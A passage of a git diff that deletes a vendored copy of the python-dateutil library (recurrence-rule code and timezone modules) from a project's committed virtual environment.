self._byweekday: - self._byweekday = None - elif not self._bynweekday: - self._bynweekday = None - - if self._byweekday is not None: - self._byweekday = tuple(sorted(self._byweekday)) - orig_byweekday = [weekday(x) for x in self._byweekday] - else: - orig_byweekday = () - - if self._bynweekday is not None: - self._bynweekday = tuple(sorted(self._bynweekday)) - orig_bynweekday = [weekday(*x) for x in self._bynweekday] - else: - orig_bynweekday = () - - if 'byweekday' not in self._original_rule: - self._original_rule['byweekday'] = tuple(itertools.chain( - orig_byweekday, orig_bynweekday)) - - # byhour - if byhour is None: - if freq < HOURLY: - self._byhour = {dtstart.hour} - else: - self._byhour = None - else: - if isinstance(byhour, integer_types): - byhour = (byhour,) - - if freq == HOURLY: - self._byhour = self.__construct_byset(start=dtstart.hour, - byxxx=byhour, - base=24) - else: - self._byhour = set(byhour) - - self._byhour = tuple(sorted(self._byhour)) - self._original_rule['byhour'] = self._byhour - - # byminute - if byminute is None: - if freq < MINUTELY: - self._byminute = {dtstart.minute} - else: - self._byminute = None - else: - if isinstance(byminute, integer_types): - byminute = (byminute,) - - if freq == MINUTELY: - self._byminute = self.__construct_byset(start=dtstart.minute, - byxxx=byminute, - base=60) - else: - self._byminute = set(byminute) - - self._byminute = tuple(sorted(self._byminute)) - self._original_rule['byminute'] = self._byminute - - # bysecond - if bysecond is None: - if freq < SECONDLY: - self._bysecond = ((dtstart.second,)) - else: - self._bysecond = None - else: - if isinstance(bysecond, integer_types): - bysecond = (bysecond,) - - self._bysecond = set(bysecond) - - if freq == SECONDLY: - self._bysecond = self.__construct_byset(start=dtstart.second, - byxxx=bysecond, - base=60) - else: - self._bysecond = set(bysecond) - - self._bysecond = tuple(sorted(self._bysecond)) - self._original_rule['bysecond'] = self._bysecond - - if self._freq >= HOURLY: - self._timeset = None - else: - self._timeset = [] - for hour in self._byhour: - for minute in self._byminute: - for second in self._bysecond: - self._timeset.append( - datetime.time(hour, minute, second, - tzinfo=self._tzinfo)) - self._timeset.sort() - self._timeset = tuple(self._timeset) - - def __str__(self): - """ - Output a string that would generate this RRULE if passed to rrulestr. - This is mostly compatible with RFC5545, except for the - dateutil-specific extension BYEASTER. - """ - - output = [] - h, m, s = [None] * 3 - if self._dtstart: - output.append(self._dtstart.strftime('DTSTART:%Y%m%dT%H%M%S')) - h, m, s = self._dtstart.timetuple()[3:6] - - parts = ['FREQ=' + FREQNAMES[self._freq]] - if self._interval != 1: - parts.append('INTERVAL=' + str(self._interval)) - - if self._wkst: - parts.append('WKST=' + repr(weekday(self._wkst))[0:2]) - - if self._count is not None: - parts.append('COUNT=' + str(self._count)) - - if self._until: - parts.append(self._until.strftime('UNTIL=%Y%m%dT%H%M%S')) - - if self._original_rule.get('byweekday') is not None: - # The str() method on weekday objects doesn't generate - # RFC5545-compliant strings, so we should modify that. - original_rule = dict(self._original_rule) - wday_strings = [] - for wday in original_rule['byweekday']: - if wday.n: - wday_strings.append('{n:+d}{wday}'.format( - n=wday.n, - wday=repr(wday)[0:2])) - else: - wday_strings.append(repr(wday)) - - original_rule['byweekday'] = wday_strings - else: - original_rule = self._original_rule - - partfmt = '{name}={vals}' - for name, key in [('BYSETPOS', 'bysetpos'), - ('BYMONTH', 'bymonth'), - ('BYMONTHDAY', 'bymonthday'), - ('BYYEARDAY', 'byyearday'), - ('BYWEEKNO', 'byweekno'), - ('BYDAY', 'byweekday'), - ('BYHOUR', 'byhour'), - ('BYMINUTE', 'byminute'), - ('BYSECOND', 'bysecond'), - ('BYEASTER', 'byeaster')]: - value = original_rule.get(key) - if value: - parts.append(partfmt.format(name=name, vals=(','.join(str(v) - for v in value)))) - - output.append('RRULE:' + ';'.join(parts)) - return '\n'.join(output) - - def replace(self, **kwargs): - """Return new rrule with same attributes except for those attributes given new - values by whichever keyword arguments are specified.""" - new_kwargs = {"interval": self._interval, - "count": self._count, - "dtstart": self._dtstart, - "freq": self._freq, - "until": self._until, - "wkst": self._wkst, - "cache": False if self._cache is None else True } - new_kwargs.update(self._original_rule) - new_kwargs.update(kwargs) - return rrule(**new_kwargs) - - def _iter(self): - year, month, day, hour, minute, second, weekday, yearday, _ = \ - self._dtstart.timetuple() - - # Some local variables to speed things up a bit - freq = self._freq - interval = self._interval - wkst = self._wkst - until = self._until - bymonth = self._bymonth - byweekno = self._byweekno - byyearday = self._byyearday - byweekday = self._byweekday - byeaster = self._byeaster - bymonthday = self._bymonthday - bynmonthday = self._bynmonthday - bysetpos = self._bysetpos - byhour = self._byhour - byminute = self._byminute - bysecond = self._bysecond - - ii = _iterinfo(self) - ii.rebuild(year, month) - - getdayset = {YEARLY: ii.ydayset, - MONTHLY: ii.mdayset, - WEEKLY: ii.wdayset, - DAILY: ii.ddayset, - HOURLY: ii.ddayset, - MINUTELY: ii.ddayset, - SECONDLY: ii.ddayset}[freq] - - if freq < HOURLY: - timeset = self._timeset - else: - gettimeset = {HOURLY: ii.htimeset, - MINUTELY: ii.mtimeset, - SECONDLY: ii.stimeset}[freq] - if ((freq >= HOURLY and - self._byhour and hour not in self._byhour) or - (freq >= MINUTELY and - self._byminute and minute not in self._byminute) or - (freq >= SECONDLY and - self._bysecond and second not in self._bysecond)): - timeset = () - else: - timeset = gettimeset(hour, minute, second) - - total = 0 - count = self._count - while True: - # Get dayset with the right frequency - dayset, start, end = getdayset(year, month, day) - - # Do the "hard" work ;-) - filtered = False - for i in dayset[start:end]: - if ((bymonth and ii.mmask[i] not in bymonth) or - (byweekno and not ii.wnomask[i]) or - (byweekday and ii.wdaymask[i] not in byweekday) or - (ii.nwdaymask and not ii.nwdaymask[i]) or - (byeaster and not ii.eastermask[i]) or - ((bymonthday or bynmonthday) and - ii.mdaymask[i] not in bymonthday and - ii.nmdaymask[i] not in bynmonthday) or - (byyearday and - ((i < ii.yearlen and i+1 not in byyearday and - -ii.yearlen+i not in byyearday) or - (i >= ii.yearlen and i+1-ii.yearlen not in byyearday and - -ii.nextyearlen+i-ii.yearlen not in byyearday)))): - dayset[i] = None - filtered = True - - # Output results - if bysetpos and timeset: - poslist = [] - for pos in bysetpos: - if pos < 0: - daypos, timepos = divmod(pos, len(timeset)) - else: - daypos, timepos = divmod(pos-1, len(timeset)) - try: - i = [x for x in dayset[start:end] - if x is not None][daypos] - time = timeset[timepos] - except IndexError: - pass - else: - date = datetime.date.fromordinal(ii.yearordinal+i) - res = datetime.datetime.combine(date, time) - if res not in poslist: - poslist.append(res) - poslist.sort() - for res in poslist: - if until and res > until: - self._len = total - return - elif res >= self._dtstart: - if count is not None: - count -= 1 - if count < 0: - self._len = total - return - total += 1 - yield res - else: - for i in dayset[start:end]: - if i is not None: - date = datetime.date.fromordinal(ii.yearordinal + i) - for time in timeset: - res = datetime.datetime.combine(date, time) - if until and res > until: - self._len = total - return - elif res >= self._dtstart: - if count is not None: - count -= 1 - if count < 0: - self._len = total - return - - total += 1 - yield res - - # Handle frequency and interval - fixday = False - if freq == YEARLY: - year += interval - if year > datetime.MAXYEAR: - self._len = total - return - ii.rebuild(year, month) - elif freq == MONTHLY: - month += interval - if month > 12: - div, mod = divmod(month, 12) - month = mod - year += div - if month == 0: - month = 12 - year -= 1 - if year > datetime.MAXYEAR: - self._len = total - return - ii.rebuild(year, month) - elif freq == WEEKLY: - if wkst > weekday: - day += -(weekday+1+(6-wkst))+self._interval*7 - else: - day += -(weekday-wkst)+self._interval*7 - weekday = wkst - fixday = True - elif freq == DAILY: - day += interval - fixday = True - elif freq == HOURLY: - if filtered: - # Jump to one iteration before next day - hour += ((23-hour)//interval)*interval - - if byhour: - ndays, hour = self.__mod_distance(value=hour, - byxxx=self._byhour, - base=24) - else: - ndays, hour = divmod(hour+interval, 24) - - if ndays: - day += ndays - fixday = True - - timeset = gettimeset(hour, minute, second) - elif freq == MINUTELY: - if filtered: - # Jump to one iteration before next day - minute += ((1439-(hour*60+minute))//interval)*interval - - valid = False - rep_rate = (24*60) - for j in range(rep_rate // gcd(interval, rep_rate)): - if byminute: - nhours, minute = \ - self.__mod_distance(value=minute, - byxxx=self._byminute, - base=60) - else: - nhours, minute = divmod(minute+interval, 60) - - div, hour = divmod(hour+nhours, 24) - if div: - day += div - fixday = True - filtered = False - - if not byhour or hour in byhour: - valid = True - break - - if not valid: - raise ValueError('Invalid combination of interval and ' + - 'byhour resulting in empty rule.') - - timeset = gettimeset(hour, minute, second) - elif freq == SECONDLY: - if filtered: - # Jump to one iteration before next day - second += (((86399 - (hour * 3600 + minute * 60 + second)) - // interval) * interval) - - rep_rate = (24 * 3600) - valid = False - for j in range(0, rep_rate // gcd(interval, rep_rate)): - if bysecond: - nminutes, second = \ - self.__mod_distance(value=second, - byxxx=self._bysecond, - base=60) - else: - nminutes, second = divmod(second+interval, 60) - - div, minute = divmod(minute+nminutes, 60) - if div: - hour += div - div, hour = divmod(hour, 24) - if div: - day += div - fixday = True - - if ((not byhour or hour in byhour) and - (not byminute or minute in byminute) and - (not bysecond or second in bysecond)): - valid = True - break - - if not valid: - raise ValueError('Invalid combination of interval, ' + - 'byhour and byminute resulting in empty' + - ' rule.') - - timeset = gettimeset(hour, minute, second) - - if fixday and day > 28: - daysinmonth = calendar.monthrange(year, month)[1] - if day > daysinmonth: - while day > daysinmonth: - day -= daysinmonth - month += 1 - if month == 13: - month = 1 - year += 1 - if year > datetime.MAXYEAR: - self._len = total - return - daysinmonth = calendar.monthrange(year, month)[1] - ii.rebuild(year, month) - - def __construct_byset(self, start, byxxx, base): - """ - If a `BYXXX` sequence is passed to the constructor at the same level as - `FREQ` (e.g. `FREQ=HOURLY,BYHOUR={2,4,7},INTERVAL=3`), there are some - specifications which cannot be reached given some starting conditions. - - This occurs whenever the interval is not coprime with the base of a - given unit and the difference between the starting position and the - ending position is not coprime with the greatest common denominator - between the interval and the base. For example, with a FREQ of hourly - starting at 17:00 and an interval of 4, the only valid values for - BYHOUR would be {21, 1, 5, 9, 13, 17}, because 4 and 24 are not - coprime. - - :param start: - Specifies the starting position. - :param byxxx: - An iterable containing the list of allowed values. - :param base: - The largest allowable value for the specified frequency (e.g. - 24 hours, 60 minutes). - - This does not preserve the type of the iterable, returning a set, since - the values should be unique and the order is irrelevant, this will - speed up later lookups. - - In the event of an empty set, raises a :exception:`ValueError`, as this - results in an empty rrule. - """ - - cset = set() - - # Support a single byxxx value. - if isinstance(byxxx, integer_types): - byxxx = (byxxx, ) - - for num in byxxx: - i_gcd = gcd(self._interval, base) - # Use divmod rather than % because we need to wrap negative nums. - if i_gcd == 1 or divmod(num - start, i_gcd)[1] == 0: - cset.add(num) - - if len(cset) == 0: - raise ValueError("Invalid rrule byxxx generates an empty set.") - - return cset - - def __mod_distance(self, value, byxxx, base): - """ - Calculates the next value in a sequence where the `FREQ` parameter is - specified along with a `BYXXX` parameter at the same "level" - (e.g. `HOURLY` specified with `BYHOUR`). - - :param value: - The old value of the component. - :param byxxx: - The `BYXXX` set, which should have been generated by - `rrule._construct_byset`, or something else which checks that a - valid rule is present. - :param base: - The largest allowable value for the specified frequency (e.g. - 24 hours, 60 minutes). - - If a valid value is not found after `base` iterations (the maximum - number before the sequence would start to repeat), this raises a - :exception:`ValueError`, as no valid values were found. - - This returns a tuple of `divmod(n*interval, base)`, where `n` is the - smallest number of `interval` repetitions until the next specified - value in `byxxx` is found. - """ - accumulator = 0 - for ii in range(1, base + 1): - # Using divmod() over % to account for negative intervals - div, value = divmod(value + self._interval, base) - accumulator += div - if value in byxxx: - return (accumulator, value) - - -class _iterinfo(object): - __slots__ = ["rrule", "lastyear", "lastmonth", - "yearlen", "nextyearlen", "yearordinal", "yearweekday", - "mmask", "mrange", "mdaymask", "nmdaymask", - "wdaymask", "wnomask", "nwdaymask", "eastermask"] - - def __init__(self, rrule): - for attr in self.__slots__: - setattr(self, attr, None) - self.rrule = rrule - - def rebuild(self, year, month): - # Every mask is 7 days longer to handle cross-year weekly periods. - rr = self.rrule - if year != self.lastyear: - self.yearlen = 365 + calendar.isleap(year) - self.nextyearlen = 365 + calendar.isleap(year + 1) - firstyday = datetime.date(year, 1, 1) - self.yearordinal = firstyday.toordinal() - self.yearweekday = firstyday.weekday() - - wday = datetime.date(year, 1, 1).weekday() - if self.yearlen == 365: - self.mmask = M365MASK - self.mdaymask = MDAY365MASK - self.nmdaymask = NMDAY365MASK - self.wdaymask = WDAYMASK[wday:] - self.mrange = M365RANGE - else: - self.mmask = M366MASK - self.mdaymask = MDAY366MASK - self.nmdaymask = NMDAY366MASK - self.wdaymask = WDAYMASK[wday:] - self.mrange = M366RANGE - - if not rr._byweekno: - self.wnomask = None - else: - self.wnomask = [0]*(self.yearlen+7) - # no1wkst = firstwkst = self.wdaymask.index(rr._wkst) - no1wkst = firstwkst = (7-self.yearweekday+rr._wkst) % 7 - if no1wkst >= 4: - no1wkst = 0 - # Number of days in the year, plus the days we got - # from last year. - wyearlen = self.yearlen+(self.yearweekday-rr._wkst) % 7 - else: - # Number of days in the year, minus the days we - # left in last year. - wyearlen = self.yearlen-no1wkst - div, mod = divmod(wyearlen, 7) - numweeks = div+mod//4 - for n in rr._byweekno: - if n < 0: - n += numweeks+1 - if not (0 < n <= numweeks): - continue - if n > 1: - i = no1wkst+(n-1)*7 - if no1wkst != firstwkst: - i -= 7-firstwkst - else: - i = no1wkst - for j in range(7): - self.wnomask[i] = 1 - i += 1 - if self.wdaymask[i] == rr._wkst: - break - if 1 in rr._byweekno: - # Check week number 1 of next year as well - # TODO: Check -numweeks for next year. - i = no1wkst+numweeks*7 - if no1wkst != firstwkst: - i -= 7-firstwkst - if i < self.yearlen: - # If week starts in next year, we - # don't care about it. - for j in range(7): - self.wnomask[i] = 1 - i += 1 - if self.wdaymask[i] == rr._wkst: - break - if no1wkst: - # Check last week number of last year as - # well. If no1wkst is 0, either the year - # started on week start, or week number 1 - # got days from last year, so there are no - # days from last year's last week number in - # this year. - if -1 not in rr._byweekno: - lyearweekday = datetime.date(year-1, 1, 1).weekday() - lno1wkst = (7-lyearweekday+rr._wkst) % 7 - lyearlen = 365+calendar.isleap(year-1) - if lno1wkst >= 4: - lno1wkst = 0 - lnumweeks = 52+(lyearlen + - (lyearweekday-rr._wkst) % 7) % 7//4 - else: - lnumweeks = 52+(self.yearlen-no1wkst) % 7//4 - else: - lnumweeks = -1 - if lnumweeks in rr._byweekno: - for i in range(no1wkst): - self.wnomask[i] = 1 - - if (rr._bynweekday and (month != self.lastmonth or - year != self.lastyear)): - ranges = [] - if rr._freq == YEARLY: - if rr._bymonth: - for month in rr._bymonth: - ranges.append(self.mrange[month-1:month+1]) - else: - ranges = [(0, self.yearlen)] - elif rr._freq == MONTHLY: - ranges = [self.mrange[month-1:month+1]] - if ranges: - # Weekly frequency won't get here, so we may not - # care about cross-year weekly periods. - self.nwdaymask = [0]*self.yearlen - for first, last in ranges: - last -= 1 - for wday, n in rr._bynweekday: - if n < 0: - i = last+(n+1)*7 - i -= (self.wdaymask[i]-wday) % 7 - else: - i = first+(n-1)*7 - i += (7-self.wdaymask[i]+wday) % 7 - if first <= i <= last: - self.nwdaymask[i] = 1 - - if rr._byeaster: - self.eastermask = [0]*(self.yearlen+7) - eyday = easter.easter(year).toordinal()-self.yearordinal - for offset in rr._byeaster: - self.eastermask[eyday+offset] = 1 - - self.lastyear = year - self.lastmonth = month - - def ydayset(self, year, month, day): - return list(range(self.yearlen)), 0, self.yearlen - - def mdayset(self, year, month, day): - dset = [None]*self.yearlen - start, end = self.mrange[month-1:month+1] - for i in range(start, end): - dset[i] = i - return dset, start, end - - def wdayset(self, year, month, day): - # We need to handle cross-year weeks here. - dset = [None]*(self.yearlen+7) - i = datetime.date(year, month, day).toordinal()-self.yearordinal - start = i - for j in range(7): - dset[i] = i - i += 1 - # if (not (0 <= i < self.yearlen) or - # self.wdaymask[i] == self.rrule._wkst): - # This will cross the year boundary, if necessary. - if self.wdaymask[i] == self.rrule._wkst: - break - return dset, start, i - - def ddayset(self, year, month, day): - dset = [None] * self.yearlen - i = datetime.date(year, month, day).toordinal() - self.yearordinal - dset[i] = i - return dset, i, i + 1 - - def htimeset(self, hour, minute, second): - tset = [] - rr = self.rrule - for minute in rr._byminute: - for second in rr._bysecond: - tset.append(datetime.time(hour, minute, second, - tzinfo=rr._tzinfo)) - tset.sort() - return tset - - def mtimeset(self, hour, minute, second): - tset = [] - rr = self.rrule - for second in rr._bysecond: - tset.append(datetime.time(hour, minute, second, tzinfo=rr._tzinfo)) - tset.sort() - return tset - - def stimeset(self, hour, minute, second): - return (datetime.time(hour, minute, second, - tzinfo=self.rrule._tzinfo),) - - -class rruleset(rrulebase): - """ The rruleset type allows more complex recurrence setups, mixing - multiple rules, dates, exclusion rules, and exclusion dates. The type - constructor takes the following keyword arguments: - - :param cache: If True, caching of results will be enabled, improving - performance of multiple queries considerably. """ - - class _genitem(object): - def __init__(self, genlist, gen): - try: - self.dt = advance_iterator(gen) - genlist.append(self) - except StopIteration: - pass - self.genlist = genlist - self.gen = gen - - def __next__(self): - try: - self.dt = advance_iterator(self.gen) - except StopIteration: - if self.genlist[0] is self: - heapq.heappop(self.genlist) - else: - self.genlist.remove(self) - heapq.heapify(self.genlist) - - next = __next__ - - def __lt__(self, other): - return self.dt < other.dt - - def __gt__(self, other): - return self.dt > other.dt - - def __eq__(self, other): - return self.dt == other.dt - - def __ne__(self, other): - return self.dt != other.dt - - def __init__(self, cache=False): - super(rruleset, self).__init__(cache) - self._rrule = [] - self._rdate = [] - self._exrule = [] - self._exdate = [] - - @_invalidates_cache - def rrule(self, rrule): - """ Include the given :py:class:`rrule` instance in the recurrence set - generation. """ - self._rrule.append(rrule) - - @_invalidates_cache - def rdate(self, rdate): - """ Include the given :py:class:`datetime` instance in the recurrence - set generation. """ - self._rdate.append(rdate) - - @_invalidates_cache - def exrule(self, exrule): - """ Include the given rrule instance in the recurrence set exclusion - list. Dates which are part of the given recurrence rules will not - be generated, even if some inclusive rrule or rdate matches them. - """ - self._exrule.append(exrule) - - @_invalidates_cache - def exdate(self, exdate): - """ Include the given datetime instance in the recurrence set - exclusion list. Dates included that way will not be generated, - even if some inclusive rrule or rdate matches them. """ - self._exdate.append(exdate) - - def _iter(self): - rlist = [] - self._rdate.sort() - self._genitem(rlist, iter(self._rdate)) - for gen in [iter(x) for x in self._rrule]: - self._genitem(rlist, gen) - exlist = [] - self._exdate.sort() - self._genitem(exlist, iter(self._exdate)) - for gen in [iter(x) for x in self._exrule]: - self._genitem(exlist, gen) - lastdt = None - total = 0 - heapq.heapify(rlist) - heapq.heapify(exlist) - while rlist: - ritem = rlist[0] - if not lastdt or lastdt != ritem.dt: - while exlist and exlist[0] < ritem: - exitem = exlist[0] - advance_iterator(exitem) - if exlist and exlist[0] is exitem: - heapq.heapreplace(exlist, exitem) - if not exlist or ritem != exlist[0]: - total += 1 - yield ritem.dt - lastdt = ritem.dt - advance_iterator(ritem) - if rlist and rlist[0] is ritem: - heapq.heapreplace(rlist, ritem) - self._len = total - - - - -class _rrulestr(object): - """ Parses a string representation of a recurrence rule or set of - recurrence rules. - - :param s: - Required, a string defining one or more recurrence rules. - - :param dtstart: - If given, used as the default recurrence start if not specified in the - rule string. - - :param cache: - If set ``True`` caching of results will be enabled, improving - performance of multiple queries considerably. - - :param unfold: - If set ``True`` indicates that a rule string is split over more - than one line and should be joined before processing. - - :param forceset: - If set ``True`` forces a :class:`dateutil.rrule.rruleset` to - be returned. - - :param compatible: - If set ``True`` forces ``unfold`` and ``forceset`` to be ``True``. - - :param ignoretz: - If set ``True``, time zones in parsed strings are ignored and a naive - :class:`datetime.datetime` object is returned. - - :param tzids: - If given, a callable or mapping used to retrieve a - :class:`datetime.tzinfo` from a string representation. - Defaults to :func:`dateutil.tz.gettz`. - - :param tzinfos: - Additional time zone names / aliases which may be present in a string - representation. See :func:`dateutil.parser.parse` for more - information. - - :return: - Returns a :class:`dateutil.rrule.rruleset` or - :class:`dateutil.rrule.rrule` - """ - - _freq_map = {"YEARLY": YEARLY, - "MONTHLY": MONTHLY, - "WEEKLY": WEEKLY, - "DAILY": DAILY, - "HOURLY": HOURLY, - "MINUTELY": MINUTELY, - "SECONDLY": SECONDLY} - - _weekday_map = {"MO": 0, "TU": 1, "WE": 2, "TH": 3, - "FR": 4, "SA": 5, "SU": 6} - - def _handle_int(self, rrkwargs, name, value, **kwargs): - rrkwargs[name.lower()] = int(value) - - def _handle_int_list(self, rrkwargs, name, value, **kwargs): - rrkwargs[name.lower()] = [int(x) for x in value.split(',')] - - _handle_INTERVAL = _handle_int - _handle_COUNT = _handle_int - _handle_BYSETPOS = _handle_int_list - _handle_BYMONTH = _handle_int_list - _handle_BYMONTHDAY = _handle_int_list - _handle_BYYEARDAY = _handle_int_list - _handle_BYEASTER = _handle_int_list - _handle_BYWEEKNO = _handle_int_list - _handle_BYHOUR = _handle_int_list - _handle_BYMINUTE = _handle_int_list - _handle_BYSECOND = _handle_int_list - - def _handle_FREQ(self, rrkwargs, name, value, **kwargs): - rrkwargs["freq"] = self._freq_map[value] - - def _handle_UNTIL(self, rrkwargs, name, value, **kwargs): - global parser - if not parser: - from dateutil import parser - try: - rrkwargs["until"] = parser.parse(value, - ignoretz=kwargs.get("ignoretz"), - tzinfos=kwargs.get("tzinfos")) - except ValueError: - raise ValueError("invalid until date") - - def _handle_WKST(self, rrkwargs, name, value, **kwargs): - rrkwargs["wkst"] = self._weekday_map[value] - - def _handle_BYWEEKDAY(self, rrkwargs, name, value, **kwargs): - """ - Two ways to specify this: +1MO or MO(+1) - """ - l = [] - for wday in value.split(','): - if '(' in wday: - # If it's of the form TH(+1), etc. - splt = wday.split('(') - w = splt[0] - n = int(splt[1][:-1]) - elif len(wday): - # If it's of the form +1MO - for i in range(len(wday)): - if wday[i] not in '+-0123456789': - break - n = wday[:i] or None - w = wday[i:] - if n: - n = int(n) - else: - raise ValueError("Invalid (empty) BYDAY specification.") - - l.append(weekdays[self._weekday_map[w]](n)) - rrkwargs["byweekday"] = l - - _handle_BYDAY = _handle_BYWEEKDAY - - def _parse_rfc_rrule(self, line, - dtstart=None, - cache=False, - ignoretz=False, - tzinfos=None): - if line.find(':') != -1: - name, value = line.split(':') - if name != "RRULE": - raise ValueError("unknown parameter name") - else: - value = line - rrkwargs = {} - for pair in value.split(';'): - name, value = pair.split('=') - name = name.upper() - value = value.upper() - try: - getattr(self, "_handle_"+name)(rrkwargs, name, value, - ignoretz=ignoretz, - tzinfos=tzinfos) - except AttributeError: - raise ValueError("unknown parameter '%s'" % name) - except (KeyError, ValueError): - raise ValueError("invalid '%s': %s" % (name, value)) - return rrule(dtstart=dtstart, cache=cache, **rrkwargs) - - def _parse_date_value(self, date_value, parms, rule_tzids, - ignoretz, tzids, tzinfos): - global parser - if not parser: - from dateutil import parser - - datevals = [] - value_found = False - TZID = None - - for parm in parms: - if parm.startswith("TZID="): - try: - tzkey = rule_tzids[parm.split('TZID=')[-1]] - except KeyError: - continue - if tzids is None: - from . import tz - tzlookup = tz.gettz - elif callable(tzids): - tzlookup = tzids - else: - tzlookup = getattr(tzids, 'get', None) - if tzlookup is None: - msg = ('tzids must be a callable, mapping, or None, ' - 'not %s' % tzids) - raise ValueError(msg) - - TZID = tzlookup(tzkey) - continue - - # RFC 5445 3.8.2.4: The VALUE parameter is optional, but may be found - # only once. - if parm not in {"VALUE=DATE-TIME", "VALUE=DATE"}: - raise ValueError("unsupported parm: " + parm) - else: - if value_found: - msg = ("Duplicate value parameter found in: " + parm) - raise ValueError(msg) - value_found = True - - for datestr in date_value.split(','): - date = parser.parse(datestr, ignoretz=ignoretz, tzinfos=tzinfos) - if TZID is not None: - if date.tzinfo is None: - date = date.replace(tzinfo=TZID) - else: - raise ValueError('DTSTART/EXDATE specifies multiple timezone') - datevals.append(date) - - return datevals - - def _parse_rfc(self, s, - dtstart=None, - cache=False, - unfold=False, - forceset=False, - compatible=False, - ignoretz=False, - tzids=None, - tzinfos=None): - global parser - if compatible: - forceset = True - unfold = True - - TZID_NAMES = dict(map( - lambda x: (x.upper(), x), - re.findall('TZID=(?P[^:]+):', s) - )) - s = s.upper() - if not s.strip(): - raise ValueError("empty string") - if unfold: - lines = s.splitlines() - i = 0 - while i < len(lines): - line = lines[i].rstrip() - if not line: - del lines[i] - elif i > 0 and line[0] == " ": - lines[i-1] += line[1:] - del lines[i] - else: - i += 1 - else: - lines = s.split() - if (not forceset and len(lines) == 1 and (s.find(':') == -1 or - s.startswith('RRULE:'))): - return self._parse_rfc_rrule(lines[0], cache=cache, - dtstart=dtstart, ignoretz=ignoretz, - tzinfos=tzinfos) - else: - rrulevals = [] - rdatevals = [] - exrulevals = [] - exdatevals = [] - for line in lines: - if not line: - continue - if line.find(':') == -1: - name = "RRULE" - value = line - else: - name, value = line.split(':', 1) - parms = name.split(';') - if not parms: - raise ValueError("empty property name") - name = parms[0] - parms = parms[1:] - if name == "RRULE": - for parm in parms: - raise ValueError("unsupported RRULE parm: "+parm) - rrulevals.append(value) - elif name == "RDATE": - for parm in parms: - if parm != "VALUE=DATE-TIME": - raise ValueError("unsupported RDATE parm: "+parm) - rdatevals.append(value) - elif name == "EXRULE": - for parm in parms: - raise ValueError("unsupported EXRULE parm: "+parm) - exrulevals.append(value) - elif name == "EXDATE": - exdatevals.extend( - self._parse_date_value(value, parms, - TZID_NAMES, ignoretz, - tzids, tzinfos) - ) - elif name == "DTSTART": - dtvals = self._parse_date_value(value, parms, TZID_NAMES, - ignoretz, tzids, tzinfos) - if len(dtvals) != 1: - raise ValueError("Multiple DTSTART values specified:" + - value) - dtstart = dtvals[0] - else: - raise ValueError("unsupported property: "+name) - if (forceset or len(rrulevals) > 1 or rdatevals - or exrulevals or exdatevals): - if not parser and (rdatevals or exdatevals): - from dateutil import parser - rset = rruleset(cache=cache) - for value in rrulevals: - rset.rrule(self._parse_rfc_rrule(value, dtstart=dtstart, - ignoretz=ignoretz, - tzinfos=tzinfos)) - for value in rdatevals: - for datestr in value.split(','): - rset.rdate(parser.parse(datestr, - ignoretz=ignoretz, - tzinfos=tzinfos)) - for value in exrulevals: - rset.exrule(self._parse_rfc_rrule(value, dtstart=dtstart, - ignoretz=ignoretz, - tzinfos=tzinfos)) - for value in exdatevals: - rset.exdate(value) - if compatible and dtstart: - rset.rdate(dtstart) - return rset - else: - return self._parse_rfc_rrule(rrulevals[0], - dtstart=dtstart, - cache=cache, - ignoretz=ignoretz, - tzinfos=tzinfos) - - def __call__(self, s, **kwargs): - return self._parse_rfc(s, **kwargs) - - -rrulestr = _rrulestr() - -# vim:ts=4:sw=4:et diff --git a/backend/venv/Lib/site-packages/dateutil/tz/__init__.py b/backend/venv/Lib/site-packages/dateutil/tz/__init__.py deleted file mode 100644 index af1352c4..00000000 --- a/backend/venv/Lib/site-packages/dateutil/tz/__init__.py +++ /dev/null @@ -1,12 +0,0 @@ -# -*- coding: utf-8 -*- -from .tz import * -from .tz import __doc__ - -__all__ = ["tzutc", "tzoffset", "tzlocal", "tzfile", "tzrange", - "tzstr", "tzical", "tzwin", "tzwinlocal", "gettz", - "enfold", "datetime_ambiguous", "datetime_exists", - "resolve_imaginary", "UTC", "DeprecatedTzFormatWarning"] - - -class DeprecatedTzFormatWarning(Warning): - """Warning raised when time zones are parsed from deprecated formats.""" diff --git a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 1d69a827..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/_common.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/_common.cpython-311.pyc deleted file mode 100644 index fbbadd88..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/_common.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/_factories.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/_factories.cpython-311.pyc deleted file mode 100644 index af3ec27c..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/_factories.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/tz.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/tz.cpython-311.pyc deleted file mode 100644 index 911c25cc..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/tz.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/win.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/win.cpython-311.pyc deleted file mode 100644 index 97507edd..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/tz/__pycache__/win.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/tz/_common.py b/backend/venv/Lib/site-packages/dateutil/tz/_common.py deleted file mode 100644 index e6ac1183..00000000 --- a/backend/venv/Lib/site-packages/dateutil/tz/_common.py +++ /dev/null @@ -1,419 +0,0 @@ -from six import PY2 - -from functools import wraps - -from datetime import datetime, timedelta, tzinfo - - -ZERO = timedelta(0) - -__all__ = ['tzname_in_python2', 'enfold'] - - -def tzname_in_python2(namefunc): - """Change unicode output into bytestrings in Python 2 - - tzname() API changed in Python 3. It used to return bytes, but was changed - to unicode strings - """ - if PY2: - @wraps(namefunc) - def adjust_encoding(*args, **kwargs): - name = namefunc(*args, **kwargs) - if name is not None: - name = name.encode() - - return name - - return adjust_encoding - else: - return namefunc - - -# The following is adapted from Alexander Belopolsky's tz library -# https://github.com/abalkin/tz -if hasattr(datetime, 